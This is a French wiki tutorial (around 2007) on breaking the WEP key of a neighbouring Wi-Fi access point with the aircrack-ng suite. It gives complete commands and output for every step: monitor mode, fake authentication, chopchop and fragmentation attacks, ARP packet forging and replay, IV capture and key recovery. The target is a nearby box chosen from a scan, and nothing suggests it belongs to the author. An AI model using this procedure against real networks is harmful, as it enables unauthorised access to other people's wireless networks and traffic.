WIFI:Aircrack-ng
Aircrack pour le cassage de clé WEP (Hacking)
- Index
Synopsis
Aircrack-ng a été développé sous licence GNU par Christophe Devine.
Actuellement en version 0.6.2, il comprend les outils suivants:
- airodump: 802.11 programme de capture de paquets
- aireplay: 802.11 programme d'injection de paquets
- aircrack: casseur de clés WEP statiques et WPA-PSK
- airdecap: décrypteur de fichiers WEP/WPA capturés
Aircrack est utilisable aussi bien sous Windows que sous Linux mais nous ne nous interesserons qu'à la partie Linux.
Cible
target aquired
Je commence par savoir comment s'appelle ma carte réseau ( en general cela correspond au premieres lettres du chipset de la carte suivi du numero du prériphérique). Pour en être sur un petit ifconfig vous renseignera tout à fait.
Ici j'utilise une carte à chipset atheros (ce chipset est particulierement interessant pour les bidouilles en Wifi et qui présente l'avantage d'être souvent reconnu en natif sous votre OS favori (onne parle donc pas de windows); Prisme est également un chipset sympathique. Je suis plus réservé sur les autres chipsets comme Ralink car même si les cartes en elle même parfois tres performante, ces dernieres pêchent souvent sur les drivers surtout quand on a le malheur d'utiliser un Linux (en effet les drivers sont souvent développés pour windows dans un premier temps avant de voir arriver des drivers corrects sur nos OS de pauvres...
Occupons nous à présent de trouver une cible potentielle pour notre attaque.
Je comence par passer ma carte wifi en mode monitor :
root@bigbrother:~# airmon-ng start ath0
Interface Chipset Driver
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0)
Je sniffe un peu les réseaux aux alentours :
root@bigbrother:~# airodump-ng 0 ath0
CH 2 ][ Elapsed: 16 s ][ 2007-02-07 00:24
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
XX:XX:XX:XX:XX:XX 7 7 0 0 6 48 WEP WEP SpeedTouch
XX:XX:XX:XX:XX:XX 20 30 0 0 11 48 WPA2 CCMP PSK DR
XX:XX:XX:XX:XX:XX 12 0 0 0 3 54 OPN linksys
XX:XX:XX:XX:XX:XX 34 39 4 0 11 48 WEP WEP 9T_F738A
XX:XX:XX:XX:XX:XX 45 28 0 0 2 54 WPA2 CCMP PSK <length: 0>
XX:XX:XX:XX:XX:XX 44 35 0 0 2 54 WPA2 CCMP PSK <length: 0>
XX:XX:XX:XX:XX:XX 44 31 373 0 2 54 WPA2 CCMP PSK <length: 0>
XX:XX:XX:XX:XX:XX 46 36 0 0 2 54 WPA2 CCMP PSK <length: 0>
BSSID STATION PWR Lost Packets Probes
E6:C8:30:8A:46:69 00:07:CB:34:60:BA -1 0 373
Le 0 permet de sniffer tous les canaux.Prenez de préférencesle BSSID qui a un signal assez puissant (collone PWR), cela devient tres satisfaisant à partir de 30. Je vais prendre la 9box avec l’essid 9T_F738A. Elle est sur le canal 11, je passe donc ma carte sur le canal 11 comme suit:
root@bigbrother:~# iwconfig ath0 channel 11
Voila je suis pret a attaquer l’ap (access point) en question. Je note juste deux infos pour la suite :
-
l’adresse MAC de l’ap a attaquer : XX:XX:XX:XX:XX:XX (notez bien que c'est la BSSID correspondant à celui qui sera la cible de l'attaque, cette adresse est unique et n'est pas composé de XX ;-) j'espere que vous l'aurez compris)
-
l’essid de l’ap a attaquer : 9T_F738A
Authentification et Association
La première étape consiste a s’authentifier et a s’associer a l’acces point que l’on veut attaquer. Pour cela on utilise l’attaque par fake authentification d’aireplay :
root@bigbrother:~# aireplay-ng -1 0 -a XX:XX:XX:XX:XX:XX -e 9T_F738A -h XX:XX:XX:XX:XX:XX ath0
The interface MAC (XX:XX:XX:XX:XX:XX) doesn't match the specified MAC (-h).
ifconfig ath0 hw ether XX:XX:XX:XX:XX:XX
14:49:33 Sending Authentication Request
14:49:33 Authentication successful
14:49:33 Sending Association Request
20:49:34 Association successful :-)
Une petite explication des paramètres :
-
-1 : fake authentification
-
0 : timer
-
-a : adresse mac de l’access point a attaquer à faire correspondre donc avec le BSSID de l'AP que l'on attaque
-
-e : l’essid de l’AP (9T_F738A notre neuf box)
-
-h : notre adresse mac (ici remplacée par une fausse proche de l’ap, 00:16:CF:61:D2:22)
les différentes attaques d'aircrack-ng
L'attaque Chopchop
Le principal problème que l’on rencontre, lorsqu’on attaque un AP, est bien souvent le manque de traffic sur la ligne. Il peut se passer des heures sans que vous soyez capable de récupérer une seule requête ARP et cela peut vous faire péter un cable, croyez moi.
L’attaque par chopchop permet d’éviter cette attente!!! Le principe
est simple, il est basé sur la possibilité de générer une fausse
requete ARP en decryptant un packet WEP. Pour cela on utilise aireplay
et packetforge comme suit:
root@bigbrother:~# aireplay-ng -4 ath0 -a XX:XX:XX:XX:XX:XX -h XX:XX:XX:XX:XX:XX
The interface MAC (XX:XX:XX:XX:XX:XX) doesn't match the specified MAC (-h).
ifconfig ath0 hw ether XX:XX:XX:XX:XX:XX
Size: 68, FromDS: 1, ToDS: 0 (WEP)
BSSID = 00:16:CF:61:D2:21
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:16:CE:D4:86:6A
0x0000: 0842 0000 ffff ffff ffff 0016 cf61 c221 .B...........a.!
0x0010: 0016 ced4 866a 1007 d451 d200 dca0 0ea5 .....j...Q......
0x0020: a80d 8954 200a d3e4 aed9 a7ea f1a9 74bf ...T .........t.
0x0030: 4064 60d0 75ac b8db 6ed7 bc6a b61d bc46 @d`.u...n..j...F
0x0040: bb9d 02c7 ....
Use this packet ? y
Saving chosen packet in replay_src-0206-202943.cap
Offset 67 ( 0% done) | xor = 2C | pt = EB | 515 frames written in 1546ms
Offset 66 ( 2% done) | xor = D4 | pt = D6 | 4195 frames written in 12586ms
Offset 65 ( 5% done) | xor = 37 | pt = AA | 2621 frames written in 7862ms
Offset 64 ( 8% done) | xor = 37 | pt = 8C | 4719 frames written in 14158ms
Offset 63 (11% done) | xor = 44 | pt = 02 | 3565 frames written in 10694ms
Offset 62 (14% done) | xor = BD | pt = 01 | 1153 frames written in 3459ms
Offset 61 (17% done) | xor = B5 | pt = A8 | 1258 frames written in 3774ms
Offset 60 (20% done) | xor = 76 | pt = C0 | 3356 frames written in 10067ms
Offset 59 (23% done) | xor = 6A | pt = 00 | 2306 frames written in 6920ms
Offset 58 (26% done) | xor = BC | pt = 00 | 1783 frames written in 5349ms
Offset 57 (29% done) | xor = D7 | pt = 00 | 1678 frames written in 5034ms
Offset 56 (32% done) | xor = 6E | pt = 00 | 3879 frames written in 11637ms
Offset 55 (35% done) | xor = DB | pt = 00 | 2412 frames written in 7236ms
Offset 54 (38% done) | xor = B8 | pt = 00 | 2307 frames written in 6920ms
Offset 53 (41% done) | xor = AD | pt = 01 | 1468 frames written in 4404ms
Offset 52 (44% done) | xor = 74 | pt = 01 | 5768 frames written in 17303ms
Offset 51 (47% done) | xor = 78 | pt = A8 | 1365 frames written in 4096ms
Offset 50 (50% done) | xor = A0 | pt = C0 | 1675 frames written in 5026ms
Offset 49 (52% done) | xor = 0E | pt = 6A | 2097 frames written in 6291ms
Offset 48 (55% done) | xor = C6 | pt = 86 | 2412 frames written in 7235ms
Offset 47 (58% done) | xor = 6B | pt = D4 | 1363 frames written in 4089ms
Offset 46 (61% done) | xor = BA | pt = CE | 2307 frames written in 6921ms
Offset 45 (64% done) | xor = BF | pt = 16 | 1678 frames written in 5035ms
Offset 44 (67% done) | xor = F1 | pt = 00 | 2307 frames written in 6921ms
Offset 43 (70% done) | xor = EB | pt = 01 | 1258 frames written in 3774ms
Offset 42 (73% done) | xor = A7 | pt = 00 | 1049 frames written in 3145ms
Offset 41 (76% done) | xor = DD | pt = 04 | 1153 frames written in 3460ms
Offset 40 (79% done) | xor = A8 | pt = 06 | 2622 frames written in 7865ms
Offset 39 (82% done) | xor = E4 | pt = 00 | 2936 frames written in 8808ms
Offset 38 (85% done) | xor = DB | pt = 08 | 3564 frames written in 10693ms
Offset 37 (88% done) | xor = 0B | pt = 01 | 2203 frames written in 6608ms
Offset 36 (91% done) | xor = 20 | pt = 00 | 1257 frames written in 3773ms
Offset 35 (94% done) | xor = 52 | pt = 06 | 1154 frames written in 3461ms
Offset 34 (97% done) | xor = 81 | pt = 08 | 1363 frames written in 4090ms
Saving plaintext in replay_la_date.cap
Saving keystream in replay_la_date.xor
Completed in 225s (0.13 bytes/s)
Une petite explication des paramètres s'impose:
-
-4 : attaque chopchop
-
ath0 : mon interface réseau
-
-a : adresse mac de l’access point a attaquer (bssid)
-
-h : notre adresse mac
Aireplay va prendre le packet que vous sélectionnez (a noter que ca ne marche pas forcément avec le 1er packet) et reconstruire le debut de la requete ARP dont nous avons besoin. En fait cette attaque permet de récupérer le PRGA (Pseudo Random Generation Algorithm, c'est des maths! cherchez pas à comprendre) et de reconstruire un packet pour l’injecter. Le fichier généré qui nous interesse est replay_la date.xor.
L'attaque par Fragmentation
C’est le meme principe que l’attaque chopchop : on va recréer une fausse requete ARP.
root@bigbrother:~# aireplay-ng -5 -b XX:XX:XX:XX:XX:XX -h XX:XX:XX:XX:XX:XX ath0
Waiting for a data packet...
Size: 92, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:16:CF:61:D2:21
Dest. MAC = 00:16:CE:D4:86:6A
Source MAC = 00:0F:66:24:FF:8C
0x0000: 0841 2c00 0016 cf61 c221 000f 6624 ff8c .A,....a.!..f$..
0x0010: 0016 ced4 866a d0b3 1af9 d000 ab72 66c9 .....j.......rf.
0x0020: 923e b25f 87e8 38e7 c388 1020 26b7 17b1 .>._..8.... &...
0x0030: 130b 2a96 656a 77bb ecfa 06af 0b10 4a76 ..*.ejw.......Jv
0x0040: 9b9d 0e7d d81b 813e c08d a0a2 cd7c e557 ...}...>.....|.W
0x0050: aaab 58b0 6a60 9944 d974 2187 ..X.j`.D.t!.
Use this packet ? y
Saving chosen packet in replay_src-0208-114703.cap
Data packet found!
Sending fragmented packet
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 384 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Trying to get 1500 bytes of a keystream
Got RELAYED packet!!
Thats our ARP packet!
Saving keystream in fragment-0208-114710.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
Explication des paramètres :
-
-5 : attaque par fragmentation
-
ath0 : mon interface réseau
-
-a : adresse mac de l’access point a attaquer
-
-h : notre adresse mac
Tout comme l'attaque chopchop, on construit notre fichier de capture grace au PRGA (le truc mathématiques). Ensuite on prend packetforge pour finir la construction du fichier de capture:
root@bigbrother:~# packetforge-ng -0 -a XX:XX:XX:XX:XX:XX -h XX:XX:XX:XX:XX:XX -k 255.255.255.255 -l 255.255.255.255.255 -y replay_la_date.xor -w arp-hack
Wrote packet to: arp-hack
(ou le fichier .xor correspondant si on a choisi l'attaque par fragmentation)
Explication des paramètres :
-
-0 : construit un packet ARP
-
-a : adresse mac de l’access point a attaquer
-
-h : notre adresse mac
-
-k : l’ip de destination
-
-l : l’ip source
-
-y : le fichier .xor que l’on a généré avec le chopchop
-
-w : notre fichier de sortie pour notre fausse requete ARP
Si tout s’est bien passé, on doit se retrouver avec un fichier arp-hack, contenant notre fausse requete arp. Il ne s’agit encore que d’une requete ‘hybride’ que nous avons fabriqué. Il est préférable d’obtenir une vraie requete ARP de l’ap lui-même. Rien de plus simple :
-
On commence par se réassocier à l’ap:
root@bigbrother:~# aireplay-ng -1 0 -a XX:XX:XX:XX:XX:XX -e 9T_F738A -h XX:XX:XX:XX:XX:XX ath0
The interface MAC (00:17:9A:B1:66:60) doesn't match the specified MAC (-h).
ifconfig ath0 hw ether 00:16:CF:61:D2:22
20:38:26 Sending Authentication Request
20:38:26 Authentication successful
20:38:26 Sending Association Request
20:38:27 Association successful :-)
-
Et on génère le fichier de capture finale:
root@bigbrother:~# aireplay-ng -2 -r arp-hack ath0
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 00:16:CF:61:D2:21
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:16:CF:61:D2:22
0x0000: 0841 0201 0016 cf61 c221 0016 cf61 c222 .A.....a.!...a."
0x0010: ffff ffff ffff 8001 d451 d200 dca0 0ea5 .........Q......
0x0020: a80d 8954 200a d3e4 aed9 a7ea f1a9 750a ...T .........u.
0x0030: 042c 5f87 8b52 b8db 6ed7 bc6a 894a 42bb .,_..R..n..j.JB.
0x0040: 6588 87d7 e...
Use this packet ? y
Saving chosen packet in replay_src-la_date.cap
You should also start airodump-ng to capture replies.
Explication des paramètres :
-
-2 : génération de la frame
-
-r : packet généré avec packetforge
-
ath0 : notre interface réseau
Génération des IVs
-
On se réassocie à l’ap:
root@bigbrother:~# aireplay-ng -1 0 -a XX:XX:XX:XX:XX:XX -e 9T_F738A -h XX:XX:XX:XX:XX:XX ath0
The interface MAC (00:17:9A:B1:66:60) doesn't match the specified MAC (-h).
ifconfig ath0 hw ether XX:XX:XX:XX:XX:XX
20:45:52 Sending Authentication Request
20:45:52 Authentication successful
20:45:52 Sending Association Request
20:45:54 Association successful :-)
-
Et on envoie des packets:
root@bigbrother:~# aireplay-ng -3 -b XX:XX:XX:XX:XX:XX -e 9T_F738A -h XX:XX:XX:XX:XX:XX -r replay_src-la_date.cap ath0
The interface MAC (00:17:9A:B1:66:60) doesn't match the specified MAC (-h).
ifconfig ath0 hw ether 00:16:CF:61:C2:22
Saving ARP requests in replay_arp-0206-204559.cap
You should also start airodump-ng to capture replies.
Read 24966 packets (got 3281 ARP requests), sent 11523 packets...
On voit que cela fonctionne, on n’est pas désassocié de l’ap et on récupere plein de requetes ARP tout en envoyant plein de packets. On peut dumper les IVs :
root@bigbrother:~# airodump-ng --ivs --channel 11 ath0 -w dump
Explication des paramètres :
-
–ivs : pour dumper que les IVs
-
–channel : le channel dans lequel se trouve l’ap
-
ath0 : notre interface réseau
-
-w : le nom du fichier de sortie
WEP DOWN
Une fois que l’on a assez d’IVs, on peut lancer un aircrack-ng :
root@bigbrother:~# aircrack-ng *.ivs
Comptez 100 000 paquets environ pour une clé 64 bits et 300 000 pour une 128 bits devraient suffir.
Ensuite assez rapidement on arrive a cela :
Aircrack-ng 0.7
[00:00:01] Tested 1 keys (got 290694 IVs)
KB depth byte(vote)
0 0/ 3 C3( 57) 71( 51) A2( 30) CA( 15) 6B( 13) 6F( 10) 25( 5) 76( 3) 78( 3) 00( 0) 05( 0) 06( 0) 07( 0) 09( 0) 18( 0) 1B( 0) 1C( 0)
1 0/ 1 B1( 267) AF( 16) 8A( 15) AA( 15) 34( 13) 3F( 13) A8( 13) A0( 5) F2( 5) 27( 3) 77( 3) A4( 3) 03( 0) 05( 0) 14( 0) 2D( 0) 2F( 0)
2 0/ 3 A8( 27) 8C( 15) F2( 15) 14( 12) EE( 11) F3( 6) EA( 5) F0( 4) 26( 3) 38( 3) 8A( 3) C1( 3) EF( 3) F4( 3) F9( 1) 03( 0) 0D( 0)
3 0/ 6 79( 23) 40( 16) 78( 15) 1C( 12) 9B( 12) D1( 12) 45( 9) D5( 6) 44( 3) 46( 3) 77( 3) 01( 0) 08( 0) 0C( 0) 10( 0) 11( 0) 13( 0)
KEY FOUND! [ XX:XX:XX:XX ]
- Categories :
- WIRELESS
- WIFI
- howto
- OPENSOURCE
- LINUX